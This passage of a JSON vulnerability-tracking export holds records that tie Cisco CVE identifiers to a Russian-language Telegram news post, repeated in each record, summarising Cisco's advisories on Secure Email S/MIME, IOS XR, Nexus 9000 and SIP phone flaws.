\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 IOS XR \u0438 Nexus \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCVE-2026-20354\u00a0\u0438\u00a0CVE-2026-20355 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 Secure/Multipurpose Internet Mail Extensions (S/MIME) \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0443\u0433\u0440\u043e\u0437.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u043c\u0438 \u0448\u043b\u044e\u0437\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 MitM.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Secure Email, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c AsyncOS \u0432\u0435\u0440\u0441\u0438\u0438 16.5.0 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 S/MIME.\n\nCisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u044b, \u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 IOS XR \u0438 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0430\u0442\u0430\u043a.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f IOS XR \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0448\u0438\u0431\u043e\u043a, \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0435\u043c\u0438 CVE, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,8: CVE-2026-20274 \u0438 CVE-2026-20279.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 CVE-2026-20212 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e TCP-\u043f\u043e\u0440\u0442\u0430\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0439 Desk Phone 9800, IP Phone 7800 \u0438 8800, \u0430 \u0442\u0430\u043a\u0436\u0435 Video Phone 8875, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 SIP.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2026-20281, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c DoS.\n\nCisco \u0437\u0430\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c.", "creation_timestamp": "2026-09-04T00:00:40.078935Z"}, {"uuid": "d0461ff4-28e8-4d10-a61d-7828a7c0157d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20281", "type": "seen", "source": "https://t.me/true_secator/8577", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Secure Email \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 S/MIME \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 IOS XR \u0438 Nexus \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCVE-2026-20354\u00a0\u0438\u00a0CVE-2026-20355 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 Secure/Multipurpose Internet Mail Extensions (S/MIME) \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0443\u0433\u0440\u043e\u0437.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u043c\u0438 \u0448\u043b\u044e\u0437\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 MitM.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Secure Email, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c AsyncOS \u0432\u0435\u0440\u0441\u0438\u0438 16.5.0 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 S/MIME.\n\nCisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u044b, \u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 IOS XR \u0438 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0430\u0442\u0430\u043a.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f IOS XR \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0448\u0438\u0431\u043e\u043a, \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0435\u043c\u0438 CVE, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,8: CVE-2026-20274 \u0438 CVE-2026-20279.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 CVE-2026-20212 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e TCP-\u043f\u043e\u0440\u0442\u0430\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0439 Desk Phone 9800, IP Phone 7800 \u0438 8800, \u0430 \u0442\u0430\u043a\u0436\u0435 Video Phone 8875, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 SIP.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2026-20281, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c DoS.\n\nCisco \u0437\u0430\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c.", "creation_timestamp": "2026-09-04T00:00:40.129448Z"}, {"uuid": "3fd10130-dea4-4a07-9e59-9676f16cc1ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://t.me/true_secator/8577", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u0432\u0443\u0445 